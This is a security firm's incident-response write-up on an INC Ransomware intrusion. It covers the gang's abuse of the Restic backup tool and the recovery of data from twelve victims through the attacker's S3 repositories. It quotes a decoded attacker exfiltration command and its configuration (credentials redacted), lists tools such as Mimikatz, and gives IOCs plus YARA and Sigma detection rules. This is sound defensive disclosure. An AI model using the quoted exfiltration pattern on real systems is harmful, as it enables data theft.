This article documents how Cyber Centaurs identified, validated, and safely accessed attacker-controlled data repositories operated by the INC Ransomware Group, resulting in the recovery of stolen data belonging to twelve unrelated U.S. corporations. What made this possible was not a vulnerability or a takedown, but forensic discipline applied to attacker tooling. Specifically, artifacts left behind from Restic, a legitimate backup utility repeatedly repurposed by INC in other campaigns, exposed a persistent layer of attacker infrastructure that extended well beyond a single victim environment.
This is the story of how following those artifacts, carefully, methodically, and lawfully, led to infrastructure visibility that ransomware investigations almost never achieve.
The Engagement Begins: A Conventional Ransomware Trigger
The engagement began in a way that will feel immediately familiar to most incident responders.
A U.S.-based organization retained Cyber Centaurs after its endpoint detection and response (EDR) platform generated a high-confidence alert indicating active ransomware execution on a production SQL Server. The alert was not speculative or heuristic in nature, it was tied to process behavior consistent with live encryption activity, triggering the organization’s internal escalation and emergency response procedures. Initial triage quickly isolated the process responsible for the activity. The executable had been launched from an atypical but revealing location:
| C:\PerfLogs\win.exe |
While the PerfLogs directory is not inherently suspicious, it is created by default on Windows systems and commonly ignored by both users and administrators, it has increasingly become a favored staging location for ransomware operators precisely because of that familiarity. The placement immediately suggested deliberate operator choice rather than opportunistic malware execution.
Static analysis and threat intelligence correlation confirmed the binary as a RainINC ransomware variant, aligning with known tooling associated with the INC Ransomware Group. File hashes matched previously observed samples, and behavior observed in memory was consistent with early-stage encryption routines rather than dormant staging. From an operational standpoint, nothing about the initial hours of the response appeared unusual. The incident presented as a textbook ransomware intrusion: a confirmed payload, a known threat actor, and a clear need to stop encryption before business-critical systems were impacted.
However, as is often the case in deeper forensic investigations, the ransomware executable itself would prove to be the least interesting artifact.
While win.exe represented the most visible manifestation of the attack, it was increasingly clear that encryption was not the beginning of the story. It was the final act. The more consequential activity, the activity that would ultimately lead beyond this single environment, had occurred earlier and left behind quieter, more easily overlooked traces.
Those traces were not tied to the ransomware binary at all. They were tied to tooling that, at first glance, appeared legitimate.
Inline IOC (early indicator):
- File name: win.exe
- Malware family: RainINC ransomware
- Execution path: C:\PerfLogs\win.exe
- MD5: 845fec7fef2a642a69a372cb3344f9d3
It was the investigation of what existed alongside and prior to this executable, rather than the executable itself, that ultimately shifted this engagement from a conventional ransomware response into a far broader infrastructure-level investigation.
When Backup Tooling Appears Where It Shouldn’t
As forensic review expanded beyond the SQL Server, investigators identified artifacts inconsistent with how data had been stolen in this environment.
Specifically, multiple systems contained traces of Restic, including:
- Renamed binaries (winupdate.exe)
- PowerShell scripts staging Restic execution
- Repository configuration variables
- File-list driven backup commands
Yet in this case, data exfiltration had not occurred via Restic. Files had been copied during lateral movement instead. This discrepancy mattered. It suggested that Restic was not an ad-hoc choice by a single operator, but a standardized component of INC’s broader operational toolkit, deployed selectively depending on network size and architecture. That realization shifted the investigation from incident response to infrastructure analysis.
Restic as a Weaponized Standard Tool
Restic is a legitimate, open-source backup utility designed for modern infrastructure and cloud-backed storage. It performs client-side encryption by default, ensuring data is encrypted before it leaves the source system, and uses deduplication and content-addressable storage to reduce transfer size and bandwidth consumption. Backups are organized into snapshot-based repositories, allowing point-in-time recovery, and Restic natively supports S3-compatible object storage, making it widely used across both enterprise and service-provider environments. In defensive contexts, these features are considered best practices for secure and resilient backups.
Those same features also make Restic highly attractive to ransomware operators. Because encryption and deduplication are built in, attackers can exfiltrate large volumes of data efficiently while producing network traffic that closely resembles routine backup activity. Once written to a Restic repository, stolen data appears as opaque encrypted objects, effectively unreadable without the correct repository configuration and password—even if the underlying storage is discovered.
Across multiple INC-related investigations and internal dossiers, Cyber Centaurs observed that Restic was used selectively based on environment size and complexity. In smaller or flatter networks, INC operators often relied on Restic directly for data exfiltration prior to encryption. In larger or more complex environments, they favored using what backup infrastructure was already in place. In many cases Veeam.
Even though Restic had not been used for exfiltration in this intrusion, the scripts and renamed binaries left behind indicated that the attacker was operating within a pre-existing, reusable Restic-based infrastructure. That realization shifted the investigation away from a single victim environment and toward the attacker’s broader data storage backend—becoming the pivot that ultimately enabled multi-victim data recovery.
The Key Artifact: Scripted Restic Execution
Among the recovered artifacts was a PowerShell scripts “new.ps1” containing Base64-encoded commands. Once decoded, these scripts revealed a consistent execution pattern:
The PowerShell script would call restic.exe, which was renamed and copied to the System32 folder.
| C:\Windows\System32\winupdate.exe backup –files-from |
The decoded script would also include hardcoded information for the S3-style bucket.
|
$env:AWS_ACCESS_KEY_ID = ‘<redacted>’ $env:AWS_SECRET_ACCESS_KEY = ‘<redacted>’ $env:RESTIC_REPOSITORY = ‘s3:<s3-compatible-endpoint>/<bucket>/<repo>’ $env:RESTIC_PASSWORD = ‘<redacted>’ |
Several technical details mattered immediately:
- Credentials staged in memory, not config files
- S3-compatible storage, not AWS proper
- Repository-level isolation, not bucket-level
- File-list driven backups, suggesting selective targeting
Critically, these repositories cannot be enumerated using standard cloud tooling alone.
Without Restic, the data is effectively invisible.
Hypothesis: Persistent, Multi-Victim Storage Infrastructure
At this stage, the investigation deliberately moved beyond the boundaries of the client environment. The presence of Restic artifacts, despite Restic not being used for exfiltration in this case, suggested that the tooling observed was not improvised for a single intrusion but part of a repeatable operational framework maintained by the INC Ransomware Group.
Based on patterns observed in prior incidents, Cyber Centaurs formed a working hypothesis: if INC routinely reused Restic-based infrastructure across campaigns, then the storage repositories referenced in attacker scripts were unlikely to be dismantled once a ransom event concluded. Instead, those repositories would likely persist as long-lived attacker-controlled assets, quietly retaining encrypted victim data well after negotiations ended or payments were made. In that scenario, data stolen from multiple, unrelated organizations could still exist, intact, encrypted, and potentially recoverable, inside the same underlying storage environment. Critically, validating this hypothesis did not require exploiting systems or bypassing security controls. The challenge was not access in the traditional sense, but visibility. Restic repositories are designed to be opaque by default; without Restic itself, the underlying object storage reveals little more than encrypted blobs and non-descriptive object names. Generic cloud tools such as the AWS CLI are insufficient for meaningful enumeration, as they lack awareness of Restic’s repository structure, snapshot metadata, and indexing mechanisms.
Understanding this distinction reframed the problem entirely. The question was no longer whether attacker infrastructure could be accessed, but whether it could be interpreted correctly. If investigators could interact with the repositories using the same tooling and configuration semantics employed by the attacker, without altering data or repository state, then it might be possible to enumerate snapshots, identify victim datasets, and validate ownership safely.
Building a Controlled Enumeration Script
With a working hypothesis in place, Cyber Centaurs moved to test it in the most conservative way possible. The objective was not to “access” attacker infrastructure in the traditional sense, but to perform preliminary Recon, observe, and interpret it using the same tooling and assumptions employed by the threat actor. To do that, the incident response team developed a custom enumeration script to identify certain patterns to identify additional containers within the S3-style cloud bucket infrastructure.
At a high level, the script iterated through a curated list of candidate repository identifiers derived from previously observed Restic artifacts. For each candidate, environment variables were set to match the configuration style used by the threat actor, including the repository endpoint and encryption password. Restic was then instructed to list available snapshots in a structured format, enabling investigators to programmatically analyze results without interacting with the underlying data.
A simplified excerpt of the enumeration logic is shown below:
This approach provided immediate value. Snapshot metadata alone often contains enough contextual information, timestamps, host identifiers, directory structures, and repository naming conventions to determine whether a dataset corresponds to a specific victim environment.
The script explicitly avoided any operation that could alter repository state or be interpreted as destructive. This distinction is important. What Cyber Centaurs conducted was forensic enumeration, not intrusion. The repositories were accessed using the attacker’s own tooling and configuration semantics, without exploitation, modification, or disruption. By treating the attacker’s infrastructure as evidentiary material rather than a target, investigators were able to safely validate the hypothesis of persistent, multi-victim storage, and lay the groundwork for what would become a rare and large-scale data recovery effort.
Discovery: Twelve Unrelated Victims
Enumeration revealed something rarely seen in ransomware cases.
Across multiple repositories, Cyber Centaurs identified datasets belonging to twelve distinct U.S. corporations, spanning:
- Healthcare
- Manufacturing
- Professional services
- Technology
These organizations:
- Were not Cyber Centaurs clients
- Were not connected to one another
- Had been impacted by separate INC ransom events
The data remained encrypted, but intact. Restic can be used to decrypt the data.
Validation and Law Enforcement Coordination
Once it became clear that the repositories contained data belonging to multiple unrelated victim organizations, Cyber Centaurs decrypted the backups and preserved and secured the identified datasets. Our team then coordinated with law enforcement to validate ownership and determine appropriate next steps. This process involved confirming that the recovered repositories corresponded to specific victim organizations and ensuring that any subsequent handling of the data followed established procedural safeguards.
Indicators of Compromise (Consolidated)
while not all indicators can be shared publicly, here is a list of some of the indicators detected, together with examples of how they can be used for threat hunting.
Files & Scripts
| Indicator | Description |
| win.exe | RainINC ransomware payload |
| Winupdate.exe | Renamed Restic binary |
| new.ps1 | Base64-encoded Restic executon script |
| new.txt | File list for selective Backup targets |
| INC-README.txt | Ransom notes |
| INC-README.html | Ransom notes |
Hashes
| File | Hash Type | Value |
| winupdate.7z | SHA-1 | c451291a5847ae225ece053ab22cb8fe96c3a098 |
| win.exe | SHA-1 | 7248cc71fd248c05da3ca73d814a620835a13e71 |
| Netscan.exe | SHA-1 | 746710470586076bb0757e0b3875de9c90202be2 |
| winupdate.exe | SHA-1 | f2c9da10351ef1223bdeb7c6c87ed3da29be98ec |
Inc Ransomware ToolSet
- Restic
- Advanced Port Scanner (netscan.exe)
- PowerShell (encoded commands)
- Revo Uninstaller
- WICleanup
- RDP / SMB
In addition to the tooling already discussed in this report, Cyber Centaurs identified several other tools that are utilized by the INC ransomware operator.
These included AnyDesk for redundant remote access, Mimikatz (mimik.exe) for credential harvesting, iperf3 for network throughput testing, PC Hunter for low-level process and kernel inspection, and Revo Uninstaller for post-activity cleanup.
Detecting Restic Abuse and Masquerading Binaries
Threat actors abusing Restic often rename the binary (e.g., winupdate.exe) and rely on legitimate execution paths to avoid suspicion. A simple and effective hunt is to look for Restic execution outside expected backup contexts, especially from system directories or user-writable locations, and to pair that with known hashes where available.
1. YARA — Restic Binary / Masquerading Executables
Use this to scan endpoints, backups, or forensic images for Restic binaries (original or renamed):
|
rule Suspicious_Restic_Usage { meta: description = “Detects Restic binary or renamed Restic used for exfiltration” author = “Cyber Centaurs” reference = “INC Ransomware investigations” strings: $s1 = “restic backup” ascii $s2 = “RESTIC_REPOSITORY” ascii $s3 = “RESTIC_PASSWORD” ascii $s4 = “s3:” ascii condition: uint16(0) == 0x5A4D and 2 of ($s*) }
|
You can optionally pair this with hash-based hunting when you have high confidence:
- SHA-1: f2c9da10351ef1223bdeb7c6c87ed3da29be98ec
2. Sigma Rule: Suspicious Restic or Masqueraded Execution
This Sigma rule focuses on process execution, catching Restic (or renamed Restic) running from atypical paths or with repository-related environment variables:
|
title: Suspicious Restic Execution or Masqueraded Binary id: 9b2c1d9f-ccir-restic-hunt status: experimental description: Detects Restic or renamed Restic binaries used outside normal backup operations author: Cyber Centaurs logsource: category: process_creation product: windows detection: selection_image: Image|endswith: – ‘\restic.exe’ – ‘\winupdate.exe’ selection_cmd: CommandLine|contains: – ‘RESTIC_REPOSITORY’ – ‘restic backup’ – ‘–files-from’ condition: selection_image or selection_cmd falsepositives: – Legitimate Restic backup jobs (validate path, account, and schedule) level: high |
3. Simple Behavioral Hunt (EDR / SIEM)
Even without signatures, this pattern is high-value:
- Process name: winupdate.exe, windows.exe, or other system-like names
- Execution path:
- C:\Windows\System32\
- C:\Users\*\Downloads\
- C:\Users\Public\
- Followed by:
- Environment variables referencing RESTIC_
- Network connections to S3-compatible endpoints
- Execution shortly before or after lateral movement activity
Conclusion
This case clearly shows that even well-organized ransomware groups rely on operational habits that can work against them. While INC Ransomware demonstrated careful planning, hands-on execution, and effective use of legitimate tools (LOTL), they also left behind infrastructure and artifacts that reflected reuse, assumption, and oversight. In this instance, those remnants, particularly related to Restic, created an opening that would not normally exist in a typical ransomware response.
Ransomware investigations are often treated as finite events that end once encryption is contained and systems are restored. This engagement showed the value of pushing beyond that boundary. By examining how the threat actor operated over time, rather than focusing solely on the ransomware payload, Cyber Centaurs was able to identify attacker-controlled storage that persisted across multiple incidents and still contained victim data. Threat actors are not infallible. They optimize for speed, scale, and repeatability, and in doing so they sometimes leave behind patterns that can be recognized and leveraged. When handled carefully and responsibly, capitalizing on those mistakes can change the outcome, not just for a single organization, but for others affected by the same campaign.
